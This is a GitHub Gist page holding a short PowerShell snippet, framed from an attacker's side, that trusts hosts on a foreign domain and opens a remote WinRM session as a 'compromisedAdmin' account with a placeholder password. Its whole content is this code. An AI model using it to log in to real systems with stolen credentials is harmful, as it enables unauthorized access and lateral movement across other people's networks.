Last active
July 16, 2024 20:17
-
-
Save chriselgee/c86da22a91450a309d3a920b24588ee9 to your computer and use it in GitHub Desktop.
Enter-PSSession from outside a domain
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Tell the attack machine to trust these hosts on a foreign domain | |
Set-Item WSMan:\localhost\Client\TrustedHosts -Value "ws01.example.com,sql02.example.com" | |
# Enter the credentials to use when connecting | |
$username = "example.com\compromisedAdmin" | |
$pass = "Luggage=12345" | |
$fancypass = ConvertTo-SecureString $pass -AsPlainText -Force | |
$dacred = New-Object System.Management.Automation.PSCredential ($userName, $fancypass) | |
# Connect! | |
Enter-PSSession -ComputerName ws01.example.com -Credential $dacred |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment